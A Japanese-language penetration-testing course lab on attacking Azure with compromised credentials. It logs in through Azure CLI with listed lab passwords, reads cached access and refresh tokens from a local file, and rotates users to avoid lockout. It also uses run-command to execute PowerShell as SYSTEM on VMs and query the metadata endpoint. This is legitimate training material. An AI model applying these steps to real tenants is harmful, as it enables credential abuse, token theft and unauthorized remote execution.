Skip to content

Lab 5.7: Running Commands (Optional)

オフライン演習

接続性: これはオフライン演習です。この演習ではターゲットネットワークに接続する必要はありません。インターネットアクセスが必要になります。

目標

  • 侵害された認証情報を使用してAzureにログインする
  • 認証情報を使用して一般的なAzureの設定ミスをスキャンする
  • Azureのネットワーク部分にアクセスせずにシステム上でコマンドをリモート実行する

ラボのセットアップ

使用するVM:

  • Linux

まず、以前の実行による成果物が残っていないことを確認するために、ラボをクリーンアップしましょう。

コマンド

rm -rf ~/.azure/*

ラボ – ステップバイステップの手順

これで、Azureプラットフォームへのアクセスに使用できるアカウントがいくつか用意されました。この攻撃は、偽造Webクレデンシャル(T1606)のMITRE ATT&CK®テクニックを使用して開始します。このテクニックを使用すると、攻撃者はサイトへのアクセス、場合によっては特権アクセスを取得できます。まず、CLIツールを使用してAzureにログインすることから始めましょう。

ラボ – ステップバイステップの手順

1: Azureへのログイン

このラボではLinux仮想マシンを使用します。_az_ツールを使用するには、Linuxターミナルプロンプトを開いて次のコマンドを実行します。

コマンド

az

想定される結果

sec560@560vm:~$ az

Welcome to Azure CLI!
---------------------
Use `az -h` to see available commands or go to https://aka.ms/cli.

Telemetry
---------
The Azure CLI collects usage data in order to improve your experience.
The data is anonymous and does not include commandline argument values.
The data is collected by Microsoft.

You can change your telemetry settings with `az configure`.


     /\
    /  \    _____   _ _  ___ _
   / /\ \  |_  / | | | \'__/ _\
  / ____ \  / /| |_| | | |  __/
 /_/    \_\/___|\__,_|_|  \___|


Welcome to the cool new Azure CLI!
[Ended for Brevity]

ここでは、azコマンドの出力と、Azureのサービスに対応するすべてのサブコマンドを確認できます。これらを使用するには、まずログインする必要があります。

2: az login -u

CLIからAzureにログインする方法はたくさんあります。az loginと入力すると、ブラウザを使用してログインします。また、コマンドラインでユーザー名とパスワードを指定する方法もあり、MFAを使用しないログインに便利です。az login -uを使用して、この動作を示しましょう。

次のように認証情報aparker@hiboxy.com/Oozle11を使用します:

コマンド

az login -u aparker@hiboxy.com -p Oozle11

想定される結果

sec560@560vm:~$ az login -u aparker@hiboxy.com -p Oozle11
Authentication with username and password in the command line is strongly discouraged. Use one of the recommended authentication methods based on your requirements. For more details, see https://go.microsoft.com/fwlink/?linkid=2276314
[
  {
    "cloudName": "AzureCloud",
    "homeTenantId": "1c0060e4-c4db-4777-a48b-34a1515e33bf",
    "id": "5c32501e-9ce5-4776-bf31-d96f8b71769e",
    "isDefault": true,
    "managedByTenants": [],
    "name": "Hiboxy",
    "state": "Enabled",
    "tenantDefaultDomain": "hiboxy.com",
    "tenantDisplayName": "Hiboxy",
    "tenantId": "1c0060e4-c4db-4777-a48b-34a1515e33bf",
    "user": {
      "name": "aparker@hiboxy.com",
      "type": "user"
    }
  }
]

これで、情報を含むJSON配列が返されます。この配列の"tenantId"値に一致する"homeTenantId"値があります。両方の値が一致しているため、これはaparkerのホームテナントです。今すぐ注意したいことの1つは、Azure CLIツールがすべてのログイン情報を次のフォルダーに保存することです:

  • ~/.azure: Linux / OSX / Unixタイプのシェル。つまり/home/sec560/.azure
  • %HOMEPATH%\.azure: Windowsの場所。つまりC:\Users\sec560\.azure

最初に理解すべきことは、Windowsのazツールの最新バージョンでは、トークンは保存時に_暗号化_されることです。このツールは、accessTokens.jsonという名前のファイルを保持しなくなりました。代わりに、msal_token_cache.json_という名前のファイルを使用し、このファイル内の値は暗号化されています。LinuxとOSXでは、このファイルは現在_暗号化されていません

コマンド

cat ~/.azure/msal_token_cache.json

想定される結果

sec560@560vm:~$ cat ~/.azure/msal_token_cache.json
{
    "AccessToken": {
        "cb8c34df-9d1f-4777-bbb2-0543fa476133.1c0060e4-c4db-4777-a48b-34a1515e33bf-login.microsoftonline.com-accesstoken-04b07795-8ddb-461a-bbee-02f9e1bf7b46-organizations-https://management.core.windows.net//.default https://management.core.windows.net//user_impersonation": {
            "credential_type": "AccessToken",
            "secret": "eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6Ikg5bmo1QU9Tc3dNcGhnMVNGeDdqYVYtbEI5dyIsImtpZCI6Ikg5bmo1QU9Tc3dNcGhnMVNGeDdqYVYtbEI5dyJ9.eyJhdWQiOiJodHRwczovL21hbmFnZW1lbnQuY29yZS53aW5kb3dzLm5ldC8iLCJpc3MiOiJodHRwczovL3N0cy53aW5kb3dzLm5ldC8xYzAwNjBlNC1jNGRiLTQ3NzctYTQ4Yi0zNGExNTE1ZTMzYmYvIiwiaWF0IjoxNzI2MTg3MjcwLCJuYmYiOjE3MjYxODcyNzAsImV4cCI6MTcyNjE5MjM2OSwiYWNyIjoiMSIsImFpbyI6IkFUUUF5LzhYQUFBQTlqUTVSTkNmWDVMdVBoMnV5QzRiQVJDOXhJeTh3ZlQvQ0tUdys2UjRqekJkMEpzb0NaSitENWs1K3E4VXYyRk8iLCJhbXIiOlsicHdkIl0sImFwcGlkIjoiMDRiMDc3OTUtOGRkYi00NjFhLWJiZWUtMDJmOWUxYmY3YjQ2IiwiYXBwaWRhY3IiOiIwIiwiZmFtaWx5
            [...truncated for brevity...]
            "credential_type": "RefreshToken",
            "secret": "0.AUYA5GAAHNvEd0ekizShUV4zv5V3sATbjRpGu-4C-eG_e0bxAHM.AgABAwEAAADW6jl31mB3T7ugrWTT8pFeAwDs_wUA9P9iMa-IpDXUVpr-1ZpuMF27WFmN5Lg-jf0QkhvGLVIutldrWexgJZNrEKkXXdNxzEKtZiqG6VI06NXx46ENJ4sdc1K0wa9K66jFlTVe34mnDi0buf10hjU--gZpRD_2F7hr6n-cPR7Nd8Wc2RHjTrpTCfl1vK_0YxbhI6PiXrXTzFj5NsdWe02xdNp33mgZuSiR18VfxZ6LGjSLd1rxCNohau94oaiG1tXJtae8Dny30rK5AK1dy6tAZdugD8hqtUTAJBEHgsoz0ZKy_6PEw91wcVvAJggz-uvvtQpO59DuKy1njenwWmFGvjrrdfiRjI-ZyvlMAhmJ5o36Npg7app0j07WF0kDxuKjXPAGC0b4qECOpSBdHuHU9BH_V9Fh3N7jK33H3aWM1QIQQt4jMS6b2eBTybJh5ReQKot9Rrf2UbOzBkBRpKcQQZqf0divm4d9SwC4SRzeC3Ta4tRTUto0fwD09PnlxEJhcYZymdnotdiF-r7SEeqPe988ZMW2XcUI1xv9yjfzchOsao7jjr1lXi8PxE4o1UqeJJiLuM5DJZZTVdAq5WhgWJvVGJ1SE3isqfhbvha5vCrT9aK_QSj_wcEZMOACxLrN9aZ9c9dkoTPNiH0YUCcdvBVEa1vehGPerNizF0wjwzUf_4_yB2bwtUNYdMDSyckCNFiLdKDPx_VhZ2lzgYn1YySDALnXMybq9ro571iW",
            [...truncated for brevity...]

アクセストークンとリフレッシュトークンの両方が利用可能であることがわかります。

コマンド

az account get-access-token

想定される結果

sec560@560vm:~$ az account get-access-token
{
  "accessToken": "eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6Ikg5bmo1QU9Tc3dNcGhnMVNGeDdqYVYtbEI5dyIsImtpZCI6Ikg5bmo1QU9Tc3dNcGhnMVNGeDdqYVYtbEI5dyJ9.eyJhdWQiOiJodHRwczovL21hbmFnZW1lbnQuY29yZS53aW5kb3dzLm5ldC8iLCJpc3MiOiJodHRwczovL3N0cy53aW5kb3dzLm5ldC8xYzAwNjBlNC1jNGRiLTQ3NzctYTQ4Yi0zNGExNTE1ZTMzYmYvIiwiaWF0IjoxNzI2MTg3MjcxLCJuYmYiOjE3MjYxODcyNzEsImV4cCI6MTcyNjE5MTM4MSwiYWNyIjoiMSIsImFpbyI6IkFUUUF5LzhYQUFBQTNTaWg4MTNCQ3dMTFJCQVM2YS9STnpsc3dublYzZXlIRzlFK3dFbWV6MExOVDRNN3EvVUpDT00wbmlPdDdtQ0kiLCJhbXIiOlsicHdkIl0sImFwcGlkIjoiMDRiMDc3OTUtOGRkYi00NjFhLWJiZWUtMDJmOWUxYmY3YjQ2IiwiYXBwaWRhY3IiOiIwIiwiZmFtaWx5X25hbWUiOiJQYXJrZXIiLCJnaXZlbl9uYW1lIjoiQXByaWwiLCJpZHR5cCI6InVzZXIiLCJpcGFkZHIiOiI3NS4xNDIuMTMuNzQiLCJuYW1lIjoiQXByaWwgUGFya2VyIiwib2lkIjoiY2I4YzM0ZGYtOWQxZi00Nzc3LWJiYjItMDU0M2ZhNDc2MTMzIiwib25wcmVtX3NpZCI6IlMtMS01LTIxLTIxOTcwMzQ0MS0yMzYzNzE5OTg5LTM3NjE2NDY5Mi0xMTI0IiwicHVpZCI6IjEwMDMyMDAyQTZGMDI1NzMiLCJyaCI6IjAuQVVZQTVHQUFITnZFZDBla2l6U2hVVjR6djBaSWYza0F1dGRQdWtQYXdmajJNQlB4QUhNLiIsInNjcCI6InVzZXJfaW1wZXJzb25hdGlvbiIsInN1YiI6IlVON3EtTHZmZHdwaVpVTWE4dGRHTmJMT0huZTlMeUZNQzJUMVo1Y0syTjgiLCJ0aWQiOiIxYzAwNjBlNC1jNGRiLTQ3NzctYTQ4Yi0zNGExNTE1ZTMzYmYiLCJ1bmlxdWVfbmFtZSI6ImFwYXJrZXJAaGlib3h5LmNvbSIsInVwbiI6ImFwYXJrZXJAaGlib3h5LmNvbSIsInV0aSI6IkNaYzlKSGp6dWs2eFhfejUtb2NqQUEiLCJ2ZXIiOiIxLjAiLCJ3aWRzIjpbImI3OWZiZjRkLTNlZjktNDY4OS04MTQzLTc2YjE5NGU4NTUwOSJdLCJ4bXNfY2FlIjoiMSIsInhtc19jYyI6WyJDUDEiXSwieG1zX2ZpbHRlcl9pbmRleCI6WyI3MCJdLCJ4bXNfaWRyZWwiOiI4IDEiLCJ4bXNfcmQiOiIwLjQyTGxZQlJpZEFNQSIsInhtc19zc20iOiIxIiwieG1zX3RjZHQiOjE2NDMzMTIzMTJ9.VoSLdTouThCSPzcAIZ6sfuBzvgsoJdPGwTIPN7glmfUMGd0Ls9WEqXOtvBWnm1Wi-sczLdLIlVvELERAi2HqK5qd46d3b_P85b6dezVFF-YSlYyM--wllXdtNDqD4KKppddDh3Tt_JNh0n7Dz08p86xbD8DxPkfsQlxYGR0V5FYALW9hjgEUxkEdHTRQ6EzQiAyBWE3k-evUBOVM_Lh1Bz75Q5VCwUP1moqoIcnUu3Ji4dhai39GBen8PnOVQA_uA0Z4mjpb2Tw61vClCwqKVplKgiWXSf87catdYKyfiN5iSx1oTSqSEjpJtw2n_zibLLFbQCf8E9Gu5LVeml_few",
  "expiresOn": "2024-09-13 01:36:21.000000",
  "expires_on": 1726191381,
  "subscription": "5c32501e-9ce5-4776-bf31-d96f8b71769e",
  "tenant": "1c0060e4-c4db-4777-a48b-34a1515e33bf",
  "tokenType": "Bearer"
}

アクセストークンを確認できます。これらのトークンはログイン資料として使用されます。欠けているのはプライマリリフレッシュトークンです。これは以前ほど簡単に入手できなくなりました。これにより、永続的なアクセスのために取得して使用することが少し難しくなります。

"以前のバージョンのAzure CLIは、ADALトークンとサービスプリンシパルエントリを~/.azure/accessToken.jsonに保存していました。最新バージョンのAzure CLIはMSALを使用しており、accessTokens.jsonを生成しなくなりました。"(参照: https://docs.microsoft.com/en-us/cli/azure/msal-based-azure-cli

Windowsではすべてが失われたのでしょうか?必ずしもそうではありません。ツールからトークンを抽出するために使用できるバックアップコマンドもあります。ただし、Linuxで続けましょう。

3: 権限の確認

クラウドの権限収集は難しいです。Azureシステム全体で読み取りを行うには、特定のIAM読み取り権限が必要です。これらのIAM読み取り権限がない場合はどうなりますか?サービスを試みる際にエラーが発生します。私たちのシステムでは読み取りを利用_できません_。では、何があるのでしょうか?Azure仮想マシンへのアクセスがあります。ScoutSuiteのようなツールを実行して、どの「読み取り」アクセスレベルがあるかを確認することで、これの一部を検証できます。

この目的のためにScoutSuiteを使用します。

以下からランダムにユーザーを選択してください

スマートロックアウトのトリガーの可能性を減らすために、以下からランダムに認証情報を選択してください。

ランダムなユーザーを取得するには、次のコマンドを実行します:

コマンド

shuf -n1 -e aparker abates mlara slopez

以下からランダムに選択されたユーザーを使用します:

  • aparker@hiboxy.com パスワード: Oozle11 - 最初の文字は文字Oで、ゼロ(0)ではありません
  • abates@hiboxy.com パスワード: Metallica6
  • mlara@hiboxy.com パスワード: Packardbell350
  • slopez@hiboxy.com パスワード: Tibbetts3

認証エラーが発生している場合は、コマンドを再実行して、別のユーザー名とパスワードの組み合わせを使用できます

コマンド

scout azure --user-account --report-dir /tmp/scoutsuite --tenant hiboxy.com --no-browser

想定される結果

sec560@560vm:~$ scout azure --user-account --report-dir /tmp/scoutsuite --tenant hiboxy.com --no-browser
2024-09-13 00:46:45 560vm scout[5552] INFO Launching Scout
2024-09-13 00:46:45 560vm scout[5552] INFO Authenticating to cloud provider
Username: aparker@hiboxy.com
Password: 
2024-09-13 00:46:51 560vm scout[5552] INFO No subscription set, inferring
2024-09-13 00:46:51 560vm scout[5552] INFO Running against subscription 5c32501e-9ce5-4776-bf31-d96f8b71769e
2024-09-13 00:46:51 560vm scout[5552] INFO Gathering data from APIs
2024-09-13 00:46:51 560vm scout[5552] INFO Fetching resources for the Azure Active Directory service
2024-09-13 00:46:51 560vm scout[5552] INFO Fetching resources for the RBAC service
2024-09-13 00:46:51 560vm scout[5552] INFO Fetching resources for the Security Center service
2024-09-13 00:46:51 560vm scout[5552] INFO Fetching resources for the SQL Database service
2024-09-13 00:46:51 560vm scout[5552] INFO Fetching resources for the Storage Accounts service
2024-09-13 00:46:51 560vm scout[5552] INFO Fetching resources for the Key Vault service
2024-09-13 00:46:51 560vm scout[5552] INFO Fetching resources for the Network service
2024-09-13 00:46:51 560vm scout[5552] INFO Fetching resources for the Virtual Machines service
2024-09-13 00:46:51 560vm scout[5552] INFO Fetching resources for the App Services service
2024-09-13 00:46:51 560vm scout[5552] INFO Fetching resources for the MySQL Database service
2024-09-13 00:46:51 560vm scout[5552] INFO Fetching resources for the PostgresSQL Database service
2024-09-13 00:46:51 560vm scout[5552] INFO Fetching resources for the Logging Monitoring service
2024-09-13 00:47:00 560vm scout[5552] INFO Running pre-processing engine
2024-09-13 00:47:00 560vm scout[5552] INFO Running rule engine
2024-09-13 00:47:00 560vm scout[5552] INFO Applying display filters
2024-09-13 00:47:00 560vm scout[5552] INFO Running post-processing engine
2024-09-13 00:47:00 560vm scout[5552] INFO Saving data to /tmp/scoutsuite/scoutsuite-results/scoutsuite_results_azure-tenant-hiboxy.com.js
2024-09-13 00:47:00 560vm scout[5552] INFO Saving data to /tmp/scoutsuite/scoutsuite-results/scoutsuite_exceptions_azure-tenant-hiboxy.com.js
2024-09-13 00:47:00 560vm scout[5552] INFO Creating /tmp/scoutsuite/azure-tenant-hiboxy.com.html

HTMLレポートが/tmp/scoutsuiteディレクトリに書き込まれているのが表示されます。必要に応じて、ホストオペレーティングシステムを使用してレポートを表示できます。Linux VM内でFirefoxを使用すると、うまくレンダリングされません。**/tmp/scoutsuite**ディレクトリ全体をホストオペレーティングシステムにコピーして貼り付け、ブラウザでHTMLファイルを開くことができます。

4: 仮想マシンの操作

次のステップは、環境内の仮想マシンを確認することです。次のコマンドを実行して開始します:

コマンド

az vm list -o table

想定される結果

sec560@560vm:~$ az vm list -o table
Name            ResourceGroup    Location    Zones
--------------  ---------------  ----------  -------
hiboxy-dc1      HIBOXY           eastus2
Win10-Desktop1  HIBOXY           eastus2
Win10-Desktop2  HIBOXY           eastus2
Win10-Desktop3  HIBOXY           eastus2
Win10-Desktop4  HIBOXY           eastus2
Win10-Desktop5  HIBOXY           eastus2

このアクセスと別のレベルのアクセスとのA/B差異を確認するので、これを覚えておいてください。az vm listコマンドは、システムに接続されている外部パブリックIPアドレスを表示できます。これを行うには、システムのネットワークインターフェイスを確認する権限が必要です。このレベルのアクセスは、Azureの別のスコープです。

コマンド

az vm list -o table -d

想定される結果

sec560@560vm:~$ az vm list -o table -d
(AuthorizationFailed) The client 'aparker@hiboxy.com' with object id 'cb8c34df-9d1f-4777-bbb2-0543fa476133' does not have authorization to perform action 'Microsoft.Network/networkInterfaces/read' over scope '/subscriptions/5c32501e-9ce5-4776-bf31-d96f8b71769e/resourceGroups/hiboxy/providers/Microsoft.Network/networkInterfaces/hiboxy-dc1-primary' or the scope is invalid. If access was recently granted, please refresh your credentials.
Code: AuthorizationFailed
Message: The client 'aparker@hiboxy.com' with object id 'cb8c34df-9d1f-4777-bbb2-0543fa476133' does not have authorization to perform action 'Microsoft.Network/networkInterfaces/read' over scope '/subscriptions/5c32501e-9ce5-4776-bf31-d96f8b71769e/resourceGroups/hiboxy/providers/Microsoft.Network/networkInterfaces/hiboxy-dc1-primary' or the scope is invalid. If access was recently granted, please refresh your credentials.

結果は、Azureでスコープがどのように機能するかを示しています。ユーザーは次のアクションを実行する権限が必要です: Microsoft.Network/networkInterfaces/read

そして、それは次のスコープ(これをオブジェクトと考えてください)にある必要があります: /subscriptions/5c32501e-9ce5-4776-bf31-d96f8b71769e/resourceGroups/hiboxy/providers/Microsoft.Network/networkInterfaces/workstation1-int

ただし、ユーザーは仮想マシンに関する情報を読み取ることができます。マシンの詳細を見てみましょう:

コマンド

az vm list

想定される結果

[
  {
    "additionalCapabilities": null,
    "applicationProfile": null,
    "availabilitySet": null,
    "billingProfile": null,
    "capacityReservation": null,
    "diagnosticsProfile": {
      "bootDiagnostics": {
        "enabled": true,
        "storageUri": null
      }
    },
    "etag": "\"3456420\"",
    "evictionPolicy": null,
    "extendedLocation": null,
    "extensionsTimeBudget": "PT1H30M",
    "hardwareProfile": {
      "vmSize": "Standard_DS1_v2",
      "vmSizeProperties": null
    },
    "host": null,
    "hostGroup": null,
    "id": "/subscriptions/5c32501e-9ce5-4776-bf31-d96f8b71769e/resourceGroups/HIBOXY/providers/Microsoft.Compute/virtualMachines/hiboxy-dc1",
    "identity": {
      "principalId": "502fafd9-1054-45e1-8051-b47262d297ce",
      "tenantId": "1c0060e4-c4db-4777-a48b-34a1515e33bf",
      "type": "SystemAssigned",
      "userAssignedIdentities": null
    },
    "instanceView": null,
    "licenseType": null,
    "location": "eastus2",
    "managedBy": null,
    "name": "hiboxy-dc1"
  }
]

読みやすくするために、このJSON出力を整形しました。identityセクションを見てみましょう:

部分的な内容

"identity": {
  "principalId": "502fafd9-1054-45e1-8051-b47262d297ce",
  "tenantId": "1c0060e4-c4db-4777-a48b-34a1515e33bf",
  "type": "SystemAssigned",
  "userAssignedIdentities": null
},

このクロージャーは、確認しているマシンにSystemAssignedマネージドIDがあることを示しています。これらのIDは、より多くの権限を与えることができます。解明する必要があるのは、システムの_コントロールプレーン_を使用して_データプレーン_アクションを実行できるかどうかです。

5: Azure Run-Command

Azure Run-Commandを見てみましょう。最初の_警告_は、Azure Run-Commandがリモートシステムでさまざまなコマンドを実行するように設計されているということです。ただし、マルチユーザー操作を意図したものではありません。シングルユーザー操作とは、多くの受講生がコマンドを実行しているときにエラーが表示される可能性があることを意味します。これを簡単にするために、デスクトップ番号をシャッフルして各受講生に接続の機会を提供することで、いくつかのオプションを提供することにしました。エラーが発生した場合は、コマンドをもう一度実行してみてください。

表示されるコマンドはshuf -i 1-5 -n 1です。これは、1から5の間の数値を出力し、毎回ランダムになります。

考慮すべきもう1つのことは、run-commandがインターバルで実行されることです。すぐに戻ってくることもあれば、戻るのに少し時間がかかることもあります。これは、最後のチェックイン期間がいつ発生したかによって異なります。run-commandでは、忍耐が味方です。

コマンド

az vm run-command invoke --command-id RunPowerShellScript --name Win10-Desktop$(shuf -i 1-5 -n1) -g HIBOXY --script 'Invoke-RestMethod -Headers @{"Metadata"="true"} -Method GET -Uri "http://169.254.169.254/metadata/instance?api-version=2021-02-01" | ConvertTo-Json -Depth 64 -Compress; whoami'

想定される結果

sec560@560vm:~$ az vm run-command invoke --command-id RunPowerShellScript --name Win10-Desktop$(shuf -i 1-5 -n1) -g HIBOXY --script 'Invoke-RestMethod -Headers @{"Metadata"="true"} -Method GET -Uri "http://169.254.169.254/metadata/instance?api-version=2021-02-01" | ConvertTo-Json -Depth 64 -Compress; whoami'
{
  "value": [
    {
      "code": "ComponentStatus/StdOut/succeeded",
      "displayStatus": "Provisioning succeeded",
      "level": "Info",
      "message": "{\"compute\":{\"azEnvironment\":\"AzurePublicCloud\",\"customData\":\"\",\"evictionPolicy\":\"\",\"isHostCompatibilityLayerVm\":\"false\",\"licenseType\":\"\",\"location\":\"eastus2\",\"name\":\"Win10-Desktop2\",\"offer\":\"Windows-10\",\"osProfile\":{\"adminUsername\":\"560Admin\",\"computerName\":\"Win10-Desktop2\",\"disablePasswordAuthentication\":\"\"},\"osType\":\"Windows\",\"placementGroupId\":\"\",\"plan\":{\"name\":\"\",\"product\":\"\",\"publisher\":\"\"},\"platformFaultDomain\":\"0\",\"platformUpdateDomain\":\"0\",\"priority\":\"Regular\",\"provider\":\"Microsoft.Compute\",\"publicKeys\":[],\"publisher\":\"MicrosoftWindowsDesktop\",\"resourceGroupName\":\"HIBOXY\",\"resourceId\":\"/subscriptions/5c32501e-9ce5-4776-bf31-d96f8b71769e/resourceGroups/HIBOXY/providers/Microsoft.Compute/virtualMachines/Win10-Desktop2\",\"securityProfile\":{\"secureBootEnabled\":\"false\",\"virtualTpmEnabled\":\"false\"},\"sku\":\"19h1-pro\",\"storageProfile\":{\"dataDisks\":[],\"imageReference\":{\"id\":\"\",\"offer\":\"Windows-10\",\"publisher\":\"MicrosoftWindowsDesktop\",\"sku\":\"19h1-pro\",\"version\":\"latest\"},\"osDisk\":{\"caching\":\"ReadWrite\",\"createOption\":\"FromImage\",\"diffDiskSettings\":{\"option\":\"\"},\"diskSizeGB\":\"127\",\"encryptionSettings\":{\"enabled\":\"false\"},\"image\":{\"uri\":\"\"},\"managedDisk\":{\"id\":\"/subscriptions/5c32501e-9ce5-4776-bf31-d96f8b71769e/resourceGroups/hiboxy/providers/Microsoft.Compute/disks/Win10-Desktop2_OsDisk_1_153f71295d7a47118284802263836cd3\",\"storageAccountType\":\"Standard_LRS\"},\"name\":\"Win10-Desktop2_OsDisk_1_153f71295d7a47118284802263836cd3\",\"osType\":\"Windows\",\"vhd\":{\"uri\":\"\"},\"writeAcceleratorEnabled\":\"false\"},\"resourceDisk\":{\"size\":\"7168\"}},\"subscriptionId\":\"5c32501e-9ce5-4776-bf31-d96f8b71769e\",\"tags\":\"environment:SEC560_H01\",\"tagsList\":[{\"name\":\"environment\",\"value\":\"SEC560_H01\"}],\"userData\":\"\",\"version\":\"18362.1256.2012032308\",\"vmId\":\"c2e4666e-a05e-4c6e-b397-8f921b65a427\",\"vmScaleSetName\":\"\",\"vmSize\":\"Standard_DS1_v2\",\"zone\":\"\"},\"network\":{\"interface\":[{\"ipv4\":{\"ipAddress\":[{\"privateIpAddress\":\"10.100.1.6\",\"publicIpAddress\":\"\"}],\"subnet\":[{\"address\":\"10.100.1.0\",\"prefix\":\"24\"}]},\"ipv6\":{\"ipAddress\":[]},\"macAddress\":\"000D3AE69321\"}]}}\nnt authority\\system",
      "time": null
    },
    {
      "code": "ComponentStatus/StdErr/succeeded",
      "displayStatus": "Provisioning succeeded",
      "level": "Info",
      "message": "",
      "time": null
    }
  ]
}

ここで何が起こっているのかを理解してみましょう。

  1. リモートシステムでコマンドを実行しています。そのシステムを乗っ取ることができます。
  2. これらのコマンドを「NT AUTHORITY\SYSTEM」として実行しています。なぜでしょうか?それは、run-commandが実行されるコンテキストだからです。
  3. IDメタデータが表示されています。さらに重要なことに、おそらくアクセストークンを取得したり、SystemAssigned IDを使用してAzure環境でコマンドを実行したりすることもできます。

この知識を武器に、シェルを取得したり、横方向に移動したりできる攻撃を構築できます。

結論

このラボは、Azure攻撃パスの継続でした。既存の認証情報を活用して、Azure CLIを使用してAzureにログインしました。Azureでは、このレベルのプログラマティックアクセスは、サブスクリプション(またはサブスクリプションより下位のリソースグループや個々のリソース)への権限を持つユーザーに対して有効になっています。他のクラウドでは、このレベルのプログラマティックアクセスは通常提供されません。Azureでのアクセスは、ポータルアクセスと混在しています。

また、システム内にあるマシンでリモートコマンドを正常に実行しました。次のステップは、利用可能なさまざまなメカニズムを使用して、これらのシステムへのアクセスを取得する方法を探ることです。